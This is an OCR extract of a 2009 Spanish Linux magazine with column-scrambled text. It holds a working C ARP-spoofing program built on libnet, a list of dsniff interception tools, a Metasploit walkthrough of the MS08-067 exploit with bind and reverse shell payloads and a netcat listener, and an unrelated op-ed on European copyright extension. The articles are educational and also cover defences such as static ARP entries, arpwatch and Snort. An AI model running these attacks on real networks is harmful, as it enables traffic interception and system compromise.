dnspoof Falsifica las respuestas DNS (Nombres de Dominio)
puestas ARP.
mailsnarf Captura el tráfico de salida y entrada: SMTP y POP3
• -d: Nombre de la interfaz de red.
msgsnarf Captura conversaciones de mensajeria instantánea: MSN, IRC, Yahoo!, etc.
filesnarf Captura ficheros transmitidos mediante NFS Usted mismo puede comprobar la eficacia del
macof Denegación de servicio mediante inundación con MAC's falsas programa. En primer lugar compile el código
sshow Analiza tráfico SSH v1 y v2 con el siguiente comando:
tcpkill Finaliza cualquier conexión establecida
$ gcc arps.c -lnet -o arps
tcpnice Dismunye la velocidad en conexiones establecidas
webspy Captura las URL visitadas por la víctima, y las abre en su propio navegador
Luego ejecute el programa con permisos de
urlsnarf Captura las URL visitadas por la víctima y las muestra por pantalla root, con los parámetros adecuados:

Listado 1a. Generando respuestas ARP gratuitas

[--arps.c--] }
#include <errno.h> libnet_destroy(lnet);
#include <getopt.h> }
#include <stdio.h> int main(int argc, char *argv[]) {
#include <stdlib.h> libnet_ptag_t ethh_pkt;
#include <libnet.h> libnet_ptag_t arph_pkt;
#define ARP_REPLY 2 ethh_pkt = arph_pkt = LIBNET_PTAG_INITIALIZER;
static in_addr_t trg_ip, gtw_ip; trg_ip = gtw_ip = 0;
/* IP's DEL OBJETIVO Y EL ROUTER */ u_int32_t p[6];
static struct libnet_ether_addr *gtw_ha; int n;
/* MAC DEL ROUTER */ char opt;
libnet_t *lnet; /* DESCRIPTOR DE LIBNET */ char *device;
struct host { char errbuf[256];
char ip_addr[16]; int narps, towait;
/* Direccion IP */ struct host evil, target, router;
u_int8_t mac_addr[6]; while ((opt = getopt(argc, argv,
/* Direccion MAC */ "i:m:r:n:t:d:")) != -1) {
}; switch (opt) {
void usage(char *prog) { case 'i':
printf("\nARPS by blackngel\n"); strncpy(target.ip_addr, optarg, 15);
printf("-----------------"); break;
printf("\nUSO: %s <opciones>\n \ case 'm': {
-i <IP host objetivo>\n \ n = sscanf(optarg,
-m <MAC host objetivo>\n \ "%02x:%02x:%02x:%02x:%02x:%02x",
-r <IP router o AP>\n \ &p[0],&p[1],&p[2],&p[3],&p[4],&p[5]);
-n <numero de ARPs>\n \ if (n != 6) {
-t <espera entre ARPs>\n \ fprintf(stderr,
-d <interfaz de red>\n", prog); "\nDireccion MAC no valida\n");
} return 0;
void send_arps(int count, int towait) { }
int cnt = 0; for (n = 0 ; n < 6 ; n++)
while (cnt < (int)count) { target.mac_addr[n] = (u_int8_t)p[n];
if (libnet_write(lnet) < 0) { break;
fprintf(stderr, "\nlibnet write }
error: %d\n", cnt); case 'r':
return; strncpy(router.ip_addr, optarg, 15);
} break;
cnt += 1; case 'n':
printf("Enviando paquete nº %d\n", cnt); narps = atoi(optarg);
sleep(towait); break;

www.lpmagazine.org 51
hacking para linuxeros
Ataques Man In The Middle

Listado 1b. Generando respuestas ARP gratuitas

case 't':
towait = atoi(optarg);
break;
case 'd':
device = optarg;
break;
default:
usage(argv[0]);
break;
}
}
if (optind < 12) {
usage(argv[0]);
exit(0);
}
if ((lnet = libnet_init(LIBNET_LINK, device, errbuf)) == NULL) {
fprintf(stderr, "libnet_init failed: %s\n", errbuf);
return -1;
}
// DIRECCION IP DEL OBJETIVO
trg_ip = libnet_name2addr4(lnet, target.ip_addr, LIBNET_RESOLVE);
// DIRECCION IP DEL ROUTER O PASARELA
gtw_ip = libnet_name2addr4(lnet, router.ip_addr, LIBNET_RESOLVE);
// MAC DEL ROUTER SUPLANTADA POR LA DEL ATACANTE
gtw_ha = libnet_get_hwaddr(lnet);
/* CONSTRUIMOS RESPUESTA ARP*/
arph_pkt = libnet_build_arp(1, 0x0800, 6, 4, ARP_REPLY,(u_int8_t *)gtw_ha, (u_char *)&gtw_ip,
(u_int8_t *)target.mac_addr, (u_char *)&trg_ip, NULL, 0, lnet, arph_pkt);
if (arph_pkt == -1) {
perror("libnet_build_arp: ");
return -1;
}
/* CONSTRUIMOS CAPA ETHERNET */
ethh_pkt = libnet_build_ethernet(target.mac_addr,
(u_int8_t *)gtw_ha,
0x0806, NULL, 0, lnet, ethh_pkt);
if (ethh_pkt == -1) {
perror("libnet_build_ethernet: ");
return -1;
}
printf("\n***** Enviando ARP REPLY al objetivo *****\n\n");
send_arps(narps, towait);
/* AQUI COMIENZA EL ATAQUE */
printf("\n\n***** Ataque ARP-Spoof finalizado *****\n");
return 1;
}
[--arps.c--]

# ./arps -i Si mira ahora la tabla de entradas ARP del host MAC correspondiente a la IP de la víctima,
192.168.0.192 víctima, verá que aquella que corresponde con evitando así introducirla de forma manual.
-m 00:11:50:ED:6F:47 la dirección IP del router ha sido alterada con
-r 192.168.0.1 la dirección MAC del atacante. Nota: Con un Suite Dsniff
-n 100 -t 1 poco más de código podría lograrse que el pro- Más allá de Ettercap, existe un conjunto de
-d ath0 grama obtenga automáticamente la dirección herramientas diseñadas por Dug Song, que

52 Linux+ 4/2009
hacking para linuxeros
Ataques Man In The Middle

forman parte de un famoso paquete llamado Frente a la protección también debemos tener
dsniff. Todas estas herramientas permiten en cuenta los métodos de detección. Hasta Sobre el autor
auditar su red, o ayudarle a recuperar toda ahora no se ha mencionado, pero un ataque
clase de información en medio de un ataque Arp Spoof, no consiste en un único paquete David Puente Castro, alias blackngel, es
MITM. de respuesta ARP, sino que, al contrario, un gran aficionado a la programación y la
Vamos a describir brevemente cada una de mientras el ataque se realiza, existe un flujo seguridad informática. Original de Ouren-
ellas, y esperamos que sí se le pongan los pelos constante de este tipo de paquetes. Las tablas se (Galicia) y viviendo actualmente en la
de punta (Tabla 1). caché ARP se actualizan cada cierto tiempo, provincia de Salamanca dedica la mayor
Casi todas estas herramientas solo pre- y es por ello que el ataque que acabamos de parte de su tiempo libre a disfrutar de la
cisan como único argumento una interfaz ver se debate en una carrera por llegar antes experiencia Linux.
de red, al fin y al cabo solo son sniffers en esta modificación y continúa este tráfico Asiduo escritor de artículos básicos
que buscan por un tráfico determinado y se de respuestas ARP no solicitadas o gratuitas sobre temas de seguridad informática en
lo facilitan a usted de la forma más cómo- durante el tiempo que sea necesario. el E-Zine electrónico S.E.T. (Saqueadores
da. ¿Puede imaginarse utilizando WebSpy Un IDS como Snort, muy conocido en Li- Edición Técnica), ampliamente conocido
y viendo en tiempo real, en su navegador, nux, es capaz de detectar este tráfico malicioso en el Underground Hispano. Actualmen-
las páginas que está visitando una víctima de y responder consecuentemente. te mantiene su segunda página oficial
un ataque MITM? Sí, lo sabemos, una mara- En un sistema operativo Linux, quizás la en: http://set.diazr.com/, cuyo principal
villa. herramienta más apropiada en pro de la detec- objetivo, radica en ocupar el lugar que en
ción de un envenenamento ARP, es ArpWat- su momento cubrió la web de Hackemate
¿Cómo protegernos? ch, la cual puede descargar desde la siguiente como repositorio de material sobre temas
El fallo principal pasa porque las tablas dirección: ftp://ftp.ee.lbl.gov/arpwatch.tar.gz. de hacking.
caché ARP mantienen entradas dinámicas, Aunque es un programa que proporciona Su primer encuentro con Linux data
y esto permite una alteración en cualquier más opciones, trabaja mas o menos de la ya de hace unos 8 años y fue poco más
momento. Teniendo esto en mente, cabe misma forma que el plugin Scan Poisoner adelante que descubrió el fantástico
pensar que la solución principal también pa- de Ettercap, el cual puede utilizar también mundo de la programación y la subcul-
sa por hacer que estas entradas sean estáti- para detectar comportamientos extraños en tura hacker. Participa activamente en
cas, y ello es posible. Desde nuestro Sistema las tablas ARP. wargames como: yoire.com, warzone
Linux podemos hacer algo como lo que pre- Si observamos nuevamente la imagen en (elhacker.net) y otros.
senta el Listado 2. la que presentábamos las entradas ARP alte- Aunque trabaja con ordenadores, la
Se puede observar como ha cambiado la radas, se puede ver como en realidad exis- mayor parte de sus tareas diarias no tie-
entrada. Ahora posee un valor PERM, de per- ten 2 entradas. Una pertenece al atacante nen una relación directa con esta temática.
manente que indica que esta entrada no puede con su dirección MAC respectiva real. La Auxiliar administrativo, obligado a utilizar el
ser modificada. La opción -s del programa arp otra corresponde al router o Punto de Acce- sistema operativo Windows, tiene la cos-
significa static. so con la dirección MAC modificada. Pero tumbre de llevarse su última Distribución
Lo lógico sería crear un script con este co- ambas coinciden, y eso es exactamente lo Live a la oficina para seguir disfrutando
mando, que se lance automáticamente cada vez que buscan los programas anteriores, dos di- de su SO favorito, Linux, y desarrollar sus
que el sistema es iniciado. No obstante, aunque recciones MAC repetidas en la red que dela- pequeños proyectos.
esta solución es práctica en redes de area local tan de forma inmediata una suplantación de Dedica el artículo a su pareja y familia
cableadas, presenta dos inconvenientes en otras identidad. por la paciencia que demuestran cuando
situaciones: Por lo demás, mi mejor consejo es que uti- intenta explicarles qué es lo que realmente
lice siempre que pueda software que cifre sus está haciendo.
• En redes Wifi, una reasociación en la red datos cuando viajan por la red. Nunca se sabe Por lo demás, puede encontrarlo
puede provocar que las entradas de la ca- en manos de quién pueden llegar caer... online, prácticamente las 24 horas
ché sean borradas y dispuestas a ser altera- del día, en las siguientes direcciones:
das nuevamente. Conclusión blackngel1@gmail.com y black@set-
• En redes cableadas pero con multitud de Como bien hemos dicho a lo largo de este ezine.org
hosts, la administración puede volverse artículo, los ataques Man in The Middle no
más tediosa. son nuevos, pero al tiempo que resultan ex- tremadamente sencillos de realizar, siguen
conservando toda su magia y efectividad.
Listado 2. Haciendo entradas estáticas Esto, unido al desconocimiento general de
los cibernautas, termina constituyendo un
# arp -a agujero muy serio en la seguridad de la red,
? (192.168.0.1) en 00:19:15:72:9C:52 y por lo tanto, en su propia seguridad.
[ether] en ath0 Hasta la próxima, y feliz hacking. La
# arp -s 192.168.0.1 00:19:15:72:9C:52 humanidad necesita con urgencia una nueva
# arp -a sabiduría que proporcione el conocimiento
? (192.168.0.1) en 00:19:15:72:9C:52 de como usar el conocimiento para la super-
[ether] PERM en ath0 vivencia del hombre y para la mejora de la
calidad de vida.

www.lpmagazine.org 53
hacking para linuxeros
Proyecto Metasploit

Proyecto Metasploit
David Puente Castro
Metasploit es un proyecto libre que ha sido diseñado con el objetivo de proveer
una plataforma de trabajo a los desearrolladores de herramientas de seguridad
y exploits. Es una estructura modularizada que permite una rápida elaboración
de programas de ataque y análisis de vulnerabilidades.

E
scrito en lenguaje Perl desde sus primeras versio- Actualmente cuenta con 263 exploits y 117 cargas dispues-
linux@software.com.pl

nes, ha sido reescrito en Ruby aportando ahora tas para ser utilizadas y lograr el control de casi cualquier
una mayor flexibilidad. Soporta los siguientes sistema. Debe de tener en cuenta que el Proyecto Metasploit
sistemas operativos: vio la luz por primera vez hacia finales del 2003, y por aquel
entonces, contaba con la nada despreciable cantidad de 30
• Linux, BSD, MacOS X, Windows Cygwin, exploits y 30 cargas.
• Windows 2000 / XP / 2003 / Vista.
¿Qué es un exploit?
Puede descargar la útlima versión, la 3.2, publicada bajo y ¿qué es una carga?
licencia BSD, desde la siguiente dirección: http://www.meta
Un exploit es un programa que está diseñado para sacar
sploit.com/framework/download/ provecho de una vulnerabilidad que ha sido encontrada en
También puede encontrar Metasploit incluido en la fa-
cierto programa y que puede provocar un comportamiento
mosa distribución de seguridad BackTrack. distinto a lo que originalmente estaba planeado por el
Metasploit es la alternativa perfecta a programas comer-
programador.
ciales como IMPACT de la empresa Core o CANVAS de la Por norma general, estos comportamientos son dos. Por
empresa Immunity. Pero existen grandes diferencias que laun lado están las Denegaciones de Servicio (o DoS), que
separa de estas dos últimas: se producen cuando se consigue que un programa deje de
responder. Ya sea porque se haya finalizado inesperadamente
• Está disponible para entornos Unix (CANVAS también). o porque se provoca un agotamiento de los recursos del sis-
• Metasploit es una herramienta gratuita, frente a los tema, como puede ser la memoria, y el programa no puede
2500/25000 dólares que puede costar la primera y los atender más peticiones. En la vida diaria, el usuario suele
950 dólares de la segunda. decir que: el programa se ha colgado.

54 Linux+ 4/2009
hacking para linuxeros
Proyecto Metasploit

• http://www.xatakamovil.com/2007/09/27-
iphone-y-metasploit-tremenda-combina-
cion
• http://secmaniac.blogspot.com/2008/07/
metasploit-3-on-iphone.html

Antes de nada echemos un vistazo a lo que


tenemos entre nuestras manos. Descomprima
el fichero que acaba de descargar:

$ tar -xvzf framework-3.2.tar.gz


...
...
$ cd framework-3.2/

Dentro del directorio principal de Metasploit,


entre los elementos más importantes tenemos:

• msfconsole -> Plataforma de ataque des-


de la línea de comandos.
• Msfgui -> Plataforma de ataque con inter-
Figura 1. Plataforma de ataque a través de un servidor web
faz gráfica.
Por otro lado, el segundo comportamien- Debido a la jerga y terminología de Meta- • Msfweb -> Plataforma de ataque a través
to es conocido como: ejecución de código sploit, también es posible que a lo largo del de un servidor web (Figura 1).
arbitrario. Existen ciertas vulnerabilidades, artículo se haga uso del término Payload
cuya explicación queda fuera del alcance de cuando deseamos hacer referencia al uso de En realidad, estas tres herramientas permiten
este artículo, que permiten cambiar el flujo de una Carga. alcanzar el mismo objetivo, aunque cada una
ejecución de un programa. La mayoría de los de ellas presenta sus ventajas según las costum-
programas se suelen ejecutar línea a línea, ¿Algo más? bres diarias del usuario que las utiliza.
y existe por lo tanto en todos los procesado- Para los mas geeks, Metasploit es capaz de correr Metasploit le permite emparejar infinidad
res un registro conocido como IP, que siem- a día de hoy bajo un iPhone, prueba de que los de cargas con un solo exploit correspondiente.
pre contiene la dirección de la siguiente línea límites de la imaginación tienden a desaparecer Puede entenderse como una filosofía: Usted
o instrucción a ejecutar. Resulta que dichas a medida que la tecnología evoluciona a pasos elige.
vulnerabilidades, conocidas con el nombre agigantados. Puede encontrar más información No todas las cargas funcionan con todos
de buffer overflows, heap overflows, etc... en las siguientes direcciones: los ataques, pero con la práctica no tardará
permiten cambiar la dirección de este regis-
tro IP y lograr que apunte a un código que
ha sido preparado intencionadamente por el
atacante.
Este código tiene normalmente como
finalidad, ejecutar una shell con permisos
elevados, ejecutar un comando en el sistema
atacado o introducir una nueva cuenta con
permisos de administrador. Es debido al
primero de los objetivos, que este código es
conocido en la jerga como Shellcode.
En Metasploit, a estos Shellcode se les
conoce por el nombre de Cargas. Como se ha
dicho, cada carga realiza una acción distinta.
Una vez el atacante elige un exploit para vul-
nerar un programa, él puede elegir si desea
obtener una shell, una shell inversa, una nue-
va cuenta de usuario o simplemente ejecutar
un comando ls -al en el directorio raiz. La
única regla es que, como las cargas están cla-
sificadas según el sistema operativo que vaya
a ser atacado, es imposible que funcione una
carga para Windows en un exploit que ataca
un programa de Linux. Figura 2. Opciones de exploit a ser establecidas

www.lpmagazine.org 55
hacking para linuxeros
Proyecto Metasploit

• Puede visualizar todos los exploits o pa-


yloads mediante el comando show:
msf > show exploits
msf > show payloads
• Con el comando use tomaremos el que
más se adapte a nuestras necesidades. En
este caso haremos uso de una vulnera-
bilidad descubierta recientemente en
las últimas versiones, incluidos Service
Pack de los productos de Microsoft.
Puede consultar la gravedad del bug en
la siguiente dirección: http://www.micro
soft.com/technet/security/bulletin/MS08-
067.mspx. Seleccionemos el exploit y pos-
Figura 3. El comando exploit tiene éxito
teriormente la carga:
en saber elegir la correcta en el momento correspondientes actualizaciones y parches • msf > use windows/
adecuado. diarios, puede ser comprometido en menos smb/ms08_067_netapi,
Lo mejor de este entorno de desarrollo de un minuto y con tan solo unas pocas • msf exploit(ms08_067_netapi) >
y pruebas, es su estructura modularizada. Por su pulsaciones. set PAYLOAD windows/
parte, cada ataque se centra en un conjunto de Realizaré el ataque bajo equipos de mi shell/bind_tcp,
objetivos diferentes. De este modo usted pue- propiedad, no haciéndome responsable del • PAYLOAD => windows/
de fijar en su mente que sistema desea atacar, uso o abuso que pueda darse a esta infor- shell/bind_tcp.
y centrarse única y exclusivamente en aquellas mación. • Como puede ver, el prompt ha cambia-
vulnerabilidades que exploten estos sistemas en Tiempo tendrá de comprobar las fa- do tras la selección del exploit, y esta
concreto. cilidades del GUI o de la interfaz web, carga específica nos proporciona una
pero veamos como msfconsole no se shell directa al sistema si el ataque tie-
Prueba de ataque queda atrás. Esta última posee la cualidad ne éxito.
Metasploit fue creado con una idea muy clara de mantener el estado de ejecución, lo que • Puede ver los sistemas vulnerables al
en mente: ser la herramienta de uso común quiere decir que puede repetir el mismo ataque y sus correspondientes versio-
para la realización de pruebas de penetra- ataque cuantas veces desee sin la necesidad nes haciendo uso del comando show
ción. Con esto en mente, la mejor manera de establecer nuevamente los parámetros targets. También obtendrá informa-
de comprobar su efectividad es a través de básicos: ción específica del bug con el coman-
un ejemplo. do: info.
A continuación mostaré la facilidad con • Ejecute msfconsole: • Todo exploit y carga necesitan unas op-
que un sistema operativo no sometido a las $ ./msfconsole ciones a ser establecidas. Veamos qué
nos piden en este caso (Figura 2). Solo
el parámetro RHOST se encuentra sin un
valor. Ese valor en concreto hace refe-
rencia a la dirección IP del sistema que
deseamos atacar. En nuestro ejemplo
será como sigue:
msf exploit
(ms08_067_netapi) >
set RHOST 192.168.0.192,
RHOST => 192.168.0.192.
• Hasta aquí tenemos todo listo y dis-
puesto para lanzar nuestra carga. Si
el comando exploit tiene éxito, ob-
tendrá en su sistema lo que presenta la
Figura 3.

Apenas ha seguido 5 pasos y ahora tiene un


sistema comprometido en sus manos.
Pero las facilidades de Metasploit no
terminan aquí. Puede guardar todas las
opciones del ataque y utilizarlo posterior-
mente sin mayor esfuerzo. El comando
save guarda en un archivo de configuración
Figura 4. Cuenta de acceso nueva al sistema todos los parámetros anteriormente estable-

56 Linux+ 4/2009
hacking para linuxeros
Proyecto Metasploit

www.lpmagazine.org 57
hacking para linuxeros
Proyecto Metasploit

• Abajo/izquierda: Información del ataque


actual y resultados de salida.
• Abajo/derecha: Sesiones (shells) abiertas,
tras un ataque exitoso.

Basta con hacer doble click en la vulnera-


bilidad que vaya a analizar y dejarse llevar
a través de un asistente donde podrá ir intro-
duciendo todos los datos necesarios.
Por otro lado, para los exploiters, la po-
sibilidad de crear automáticamente cargas en
forma de shellcodes, resulta en una ventaja
cuando la velocidad prima ante todo. Msfweb
es la aplicación perfecta para estos fines.
Lo que esta aplicación logra en primera
instancia, es abrir un pequeño servidor web
en el puerto 55555 al que puede conectarse
via su navegador favorito (Figura 6).
Figura 5. El mismo resultado obtenido con msfgui Una vez se encuentre en la página prin-
cipal, puede hacer click en el boton Payloads
cidos. Si sale del programa (exit) y pos- que intuitiva interfaz del programa msfgui y buscar la carga Windows Execute Command.
teriormente vuelve a él para probar nueva- (Figura 5). Una vez dentro, el campo más importante al
menente el ataque, no tiene más que selec- La ventana principal está dividida en 4 completar es el de CMD, donde usted deberá
cionar el exploit y ejecutarlo. zonas. Las más importantes: elegir qué aplicación desea ejecutar en el sis-
tema vulnerable.
¿Qué más? • Arriba/izquierda: Estructura en árbol con También el campo Restricted Characters
Si por ejemplo usted hubiera deseado una todos los ataques. puede brindarle la posibilidad de eliminar los
conexión inversa (donde el sistema vulne-
rado es el que se conecta a usted para pro-
porcionarle la shell de comandos),podría
haber elegido la carga windows/shell/
reverse_tcp y establecer los parámetros
LHOST y LPORT según sus preferencias. Por
ejemplo:

• LHOST -> La dirección IP de su sistema


en la red.
• LPORT -> Puerto en el que tiene un servi-
dor escuchando.
Figura 6. Abriendo un pequeño servidor web en el puerto 55555
Puede hacer uso de la navaja suiza netcat
disponible por defecto en casi todas las dis-
tribuciones de Linux para abrir un puerto a la
escucha en su sistema:

$ nc -lvvp 4444

También podría haber añadido una cuenta de


acceso nueva al sistema con el PAYLOAD
windows/adduser. Lo que quiero que vean
es que las posibilidades son ilimitadas y solo
tiene que dar rienda suelta a su imaginación
(Figura 4).

Msfgui / Msfweb
Cuando domine al menos la mitad de la
potencia que le ofrece msfconsole, des-
cubrirá que puede obtener exactamente el
mismo resultado si se deja guiar por la más Figura 7. Windows Execute Command

58 Linux+ 4/2009
hacking para linuxeros
Proyecto Metasploit

Por lo demás, en Metasploit todo son faci-


Sobre el autor lidades, y usted, como analista de seguridad,
podrá seguir añadiendo sus propios exploits
David Puente Castro, alias blackngel, es hacker. Participa activamente en warga- a la plataforma e ir ampliando así sus capaci-
un gran aficionado a la programación y la mes como: yoire.com, warzone (elhacker. dades de prueba.
seguridad informática. Original de Ouren- net) y otros.
se (Galicia) y viviendo actualmente en la Aunque trabaja con ordenadores, Conclusión
provincia de Salamanca dedica la mayor la mayor parte de sus tareas diarias no Metasploit es una joya que debería llevar siem-
parte de su tiempo libre a disfrutar de la tienen una relación directa con esta te- pre consigo en su arsenal de herramientas, si
experiencia Linux. mática. Auxiliar administrativo, obligado su objetivo es probar ataques contra sistemas
Asiduo escritor de artículos básicos a utilizar el sistema operativo Windows, vulnerables y proceder a la posterior aplica-
sobre temas de seguridad informática tiene la costumbre de llevarse su última ción de parches.
en el E-Zine electrónico S.E.T. (Saquea- Distribución Live a la oficina para seguir Tenga en cuenta que es la mejor forma de
dores Edición Técnica), ampliamente disfrutando de su SO favorito, Linux, demostrar a un cliente que solicita un análisis
conocido en el Underground Hispano. y desarrollar sus pequeños proyectos. o evaluación de seguridad, que sus sistemas
Actualmente mantiene su segunda pá- Dedica el artículo a su pareja y fa- pueden ser comprometidos con demasiada
gina oficial en: http://set.diazr.com/, cuyo milia por la paciencia que demuestran facilidad, y que tomar contramedidas no es
principal objetivo, radica en ocupar el lu- cuando intenta explicarles qué es lo que algo que deba ser dejado al azar.
gar que en su momento cubrió la web de realmente está haciendo. Es curioso ver una opinión de alguien
Hackemate como repositorio de material Por lo demás, puede encontrarlo on- que ha descrito a Metasploit como: tal vez
sobre temas de hacking. line, prácticamente las 24 horas del día, la herramienta más potencialmente dañina
Su primer encuentro con Linux data en las siguientes direcciones: jamás escrita. Personalmente no estoy de
ya de hace unos 8 años y fue poco más blackngel1@gmail.com acuerdo con esta idea, pero lo bueno es que
adelante que descubrió el fantástico mun- y black@set-ezine.org después de este artículo usted puede permi-
do de la programación y la subcultura tirse el lujo de formular su propia opinión.
No olvide asegurar sus sistemas. Es por
bytes NULL que suelen significar fin de cade- Una vez tenga todo listo, haga click en su bien.
na y que normalmente provocan un fallo en generar y obtendrá algo como la captura pre-
el momento de la explotación. sentada en la Figura 7.
Debe recordar que los Shellcodes son Como puede observar, esto ahorra mucho
utilizados en vulnerabilidades del tipo buffer tiempo a los programadores de exploits, que

Club Pro
overflow, por lo tanto, estos Shellcodes en pueden trabajar únicamente alrededor del pro-
realidad son una cadena de caracteres que blema, sin perder el tiempo en la codificación
será almacenada en el buffer del programa de la carga necesaria para obtener un beneficio.
vulnerable. En el lenguaje de programación Metasploit dispone también de varios mó-
C, un caracter “\0” significa fin de cadena, dulos auxiliares que realizarán distintas tareas
y en este lugar las cadenas de caracteres son por usted y una lista de códigos de no opera-
truncadas y lo que haya a su derecha se pier- ción, NOPS, que son instrucciónes que el pro-
de. Si en medio de nuestro Shellcode se infil- cesador ejecuta pero que a su vez no afectan al
tra un byte \x00, el programa interpreta que flujo de ejecución de una carga. Digamos que,
ahí finaliza la cadena, y nuestra Carga queda- ante vulnerabilidades como los buffer overflo-
ría cortada en ese lugar, algo que a nosotros ws, son códigos que pueden ser utilizados de
no nos interesa. relleno y que ayudan al éxito del ataque.

ESPAWEB
www.espaweb.es
Especialistas en planes para Distribuido-
res sobre plataforma Linux y Windows,
marca blanca.
Servidores Dedicados y Housing
Proyectos y Soluciones a Medida
Datacenter propio en Alicante
Soporte técnico altamente cualificado,
24*7
902 380 380

Figura 8. Mut’s blog

www.lpmagazine.org 59
conocimiento libre
Extensión del Copyright en Europa

La polémica del año:


Extensión del Copyright en Europa
José Carlos Cortizo Pérez
El parlamento europeo debate sobre la posible ampliación de los derechos
del copyright, que pasaría de una duración de 70 años a 95, beneficiando
mayoritariamente a las discográficas que, gracias a las cláusulas abusivas que
hacen firmar a los artistas, son quienes poseen los derechos de las obras. Resulta
paradójico que los políticos que deberían defender el desarrollo cultural y el acceso
a la misma, solo sean capaces de regirse por los beneficios de unos pocos.

M
arcos es un joven e imaginativo escritor
linux@software.com.pl

que, gracias a sus vivencias, tiene mucho Este artículo es Libre


que contar. Lleva dos años realizando
una investigación sobre cómo nos podrá Los contenidos de este artículo son totalmente libres.
afectar la nanotecnología en un futuro, para escribir una Tanto el texto como las fotografías están licenciados
historia de ciencia ficción que se desarrolla dentro de bajo licencia Creative Commons. La editorial ha tenido
medio siglo donde, hipotéticamente, la nanotecnología ha a bien el comprometerse con la causa del conocimiento
cambiado de forma radical nuestro día a día. Su libro no libre y liberar, en su Web, los contenidos de esta sección
solo pretende ser una obra de ficción que entretenga a mi- regular, dos meses después de aparecer su versión fí-
llones de personas, sino también una vía de divulgación de sica en los kioscos.
estas nuevas tecnologías, de forma que Marcos formará,
en cierta medida, a muchas personas para que sean más desinteresada de algunas pequeñas y medianas empresas
capaces de comprender algunas de las tecnologías que irán que apoyan su investigación. ¿Y por qué toda esta gente
afectándonos en un futuro cercano. le ayudan de forma tan desinteresada? La respuesta es
A pesar de llevar una vida austera, Marcos necesita po- simple, todos sabemos que la cultura es uno de los bienes
der comer, dormir, material para escribir, dinero para viajar más preciados que tenemos como Sociedad, así que resulta
y hablar con algunos científicos que le asesoren en el ma- lógico que los que consumimos cultura apoyemos a los
terial a escribir, etc. Por suerte, hay mucha gente dispuesta creadores de la misma.
a ofrecerle su apoyo de diversas maneras. Vive en un piso Después de 2 años investigando, y otro entero escri-
de una familia rica que, al no utilizarlo, se lo cede de forma biendo su novela, Marcos la publicó en acceso abierto, para
gratuita; come gracias a que su vecina al estar sola, coci- que todo el mundo pudiera consumir su obra, una generosa
na para los dos; y puede viajar gracias a la colaboración aportación al desarrollo de la cultura que pudo realizar gra-

60 Linux+ 4/2009
conocimiento libre
Extensión del Copyright en Europa

cias a la aportación de muchas otras personas.


De esta manera, tanto los creadores como los
consumidores de cultura favorecemos al desa-
rrollo de la misma al entrar en una espiral de
contribuciones mutuas.
A pesar de que suene idílica, la historia
anterior es mera ficción. A día de hoy cuesta
encontrar personas que apoyen a otras de for-
ma desinteresada y la cultura se consume sin
cuartel, sin pararnos a pensar en cómo hay que
potenciar el desarrollo de la misma. La historia
no deja de ser un recurso que nos deja entrever
la necesidad de proteger a los artistas, creado-
res de cultura, para que puedan seguir creando
cultura. Sin algunas medidas proteccionistas,
teniendo en cuenta el cómo actuamos como
Sociedad, los artistas no podrían sustentarse
económicamente para poder seguir creando Figura 2. Ilustración de los distintos actos de Copyright celebrados en los Estados Unidos. La imagen está
cultura, por esta causa, entre otras, nace el licenciada bajo CC-by-sa (http://en.wikipedia.org/wiki/File:Copyright_term.svg)
concepto de propiedad intelectual y, dentro
del mismo, los conceptos de derechos de autor investigación, es lógico que puedas protegerla que la ley concede a los autores (los derechos
y copyright. durante un tiempo para que ningún espabila- de autor), por el solo hecho de la creación de
do se aproveche y se haga millonario a costa una obra literaria, artística o científica, tanto
Derechos del dinero que tu has invertido anteriormente. publicada o que todavía no se haya publicado.
de autor y Copyright Si, en el caso de Marcos, nuestro escritor, has Es decir, uno tiene los derechos de autor de
Mi postura con respecto a los derechos de au- invertido tres años de tu vida en escribir un cualquier creación que salga de él, tanto sea
tor, copyright, o incluso las patentes, es una libro, tampoco es de recibo que se permita música, literatura o cualquier otra obra. Incluso
postura un tanto neutra, en línea con la histo- que se difunda para el beneficio de ningún si eres autor de un blog, tú tienes los derechos
ria anterior. Las producciones tangibles son tercero o, en detrimento de los beneficios del de autor de todas las entradas que hayas escrito,
fácilmente controlables: si fabricas puertas propio autor. son unos derechos per-se, e incuestionables;
vendes cada puerta física a un coste determi- Ahora bien, ¿qué son los derechos de autor? unos derechos más morales que establecen una
nado y no hay mayor problema. Sin embargo, Citando a la Wikipedia (http://es.wikipedia.org/ relación un tanto más espiritual del autor con
hay producciones no tangibles, más cercanas wiki/Derecho_de_autor), el derecho de autor la obra.
al reino de las ideas, que son las que se tratan (del francés ‘derechir bita autore a la parmesa- Muy relacionado con los derechos de
de proteger con la propiedad intelectual. Si no’) es un conjunto de normas y principios que autor, está el Copyright, un término anglo-
como empresa has invertido millones en una regulan los derechos morales y patrimoniales sajón que hace referencia a los derechos de
explotación que tiene un autor con una obra,
lo cual le da la potestad única de comerciar
con sus contenidos, generando valor a partir
de ellos. La diferencia entre ambos términos
puede parecer algo etérea, pero me remito
a las palabras de Pablo F. Burgueño (http://
www.pabloburgueno.com), abogado experto
en nuevas tecnologías en Abanlex, que dife-
rencia bastante bien ambos términos: en el
plano académico, la diferencia principal entre
Copyright y derechos de autor es que la pri-
mera otorga un ‘monopolio de explotación
exclusivamente económica’ a favor del autor
sobre su obra. En cambio, los Derechos de
Autor son contemplados como ‘la más sagra-
da de todas las propiedades’ reconociéndole
a su autor no solo derechos patrimoniales so-
bre su obra sino también morales (unidos al
‘espíritu de la creación del intelecto’).
Gracias a estas diferencias, la cadena de
transmisión de valor ha cambiado sustancial-
Figura 1. Un escritor pensativo, en espera de la llamada de la creatividad. Fotografía licenciada bajo CC-by mente, pasando de ser el propio autor el que
por re_birf (http://flickr.com/photos/re_birf/) comerciaba con sus obras, a establecerse in-

www.lpmagazine.org 61
conocimiento libre
Extensión del Copyright en Europa

termediarios encargados de la distribución de mir, publicar y vender las copias de sus mapas, a los trabajos que fueran publicados en algún
las mismas. Para poder hacer esto, en la gran gráficas y libros. medio y establecieran una nota en la publica-
mayoría de los casos, el autor renuncia al co- En 1831, se produjo la primera extensión ción sobre el Copyright al que estaba sujeto
pyright de sus obras, que pasa a estar en manos del Copyright en Estados Unidos, pasando la obra.
de las editoriales, distribuidoras o productoras, de 14 años a 28, más otros 14 adicionales al El acto de extensión del Copyright de
aunque conserva los derechos de autor. Como pedir una prórroga. Además, establecía cláu- 1976 supuso una pieza clave de la legisla-
los derechos de autor no son los que generan sulas adicionales según las cuales, si un autor ción norteamericana en cuanto al tema del
capital económico de las obras, son las distri- fallecía durante ese periodo, los derechos pa- Copyright y, aunque sería extendido poste-
